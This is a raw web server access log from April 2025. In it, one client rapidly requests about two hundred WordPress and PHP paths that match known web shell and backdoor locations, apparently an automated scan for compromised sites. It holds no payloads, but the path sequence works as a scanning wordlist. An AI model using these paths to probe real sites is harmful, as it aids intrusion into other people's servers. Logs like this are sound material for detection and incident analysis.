43.157.172.39 - - [20/Apr/2025:05:43:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.233.152.126 - - [20/Apr/2025:05:50:38 -0400] "GET /dash/upload/design_agency_portfolio02122019125418.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 52.167.132.240 - - [20/Apr/2025:06:01:48 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:49 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:50 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:50 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:50 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:51 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:52 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:52 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:52 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:53 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:53 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:54 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:54 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:55 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:55 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:56 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:56 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:57 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:58 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:58 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:59 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:59 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:01:59 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:00 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:00 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:01 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:02 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:03 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:03 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:04 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:05 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:05 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:05 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:06 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:06 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:07 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:07 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:08 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:08 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:09 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:09 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:10 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:11 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:13 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:14 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:14 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:15 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:16 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:16 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:17 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:18 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:19 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:22 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:23 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:23 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:24 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:25 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:25 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:26 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:28 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:28 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:29 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:29 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:30 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:31 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:31 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:32 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:32 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:33 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:33 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:34 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:34 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:35 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:36 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:37 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:38 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:40 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:41 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:43 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:44 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:45 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:45 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:47 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:47 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:48 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:49 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:50 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:50 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:52 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:53 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:55 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:56 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:57 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:57 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:02:58 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:00 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:00 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:00 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:01 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:02 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:03 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:05 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:06 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:06 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:07 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:09 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:10 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:11 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:12 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:13 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:13 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:14 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:14 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:15 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:16 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:16 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:17 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:19 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:19 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:20 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:21 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:23 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:24 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:25 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:26 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:26 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:27 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:29 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:30 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:31 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:31 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:32 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:33 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:34 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:35 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:35 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:35 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:36 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:36 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:37 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:38 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:38 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:38 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:39 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:39 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:40 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:41 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:41 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:42 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:42 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:43 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:43 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:44 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:44 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:45 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:45 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:46 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:46 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:46 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:47 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:47 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:48 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:48 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:48 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:49 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:50 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:51 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:51 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:52 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:52 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:53 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:54 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:54 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:54 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:55 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:56 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:56 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:57 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:57 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:58 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:58 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:59 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:59 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:03:59 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:00 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:01 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:01 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:02 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:03 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:05 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:06 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:07 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:10 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:12 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:15 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:16 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:18 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:19 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:21 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:22 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:23 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:24 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:25 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:25 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:26 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:27 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:27 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:27 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:28 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:28 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:29 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:30 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" 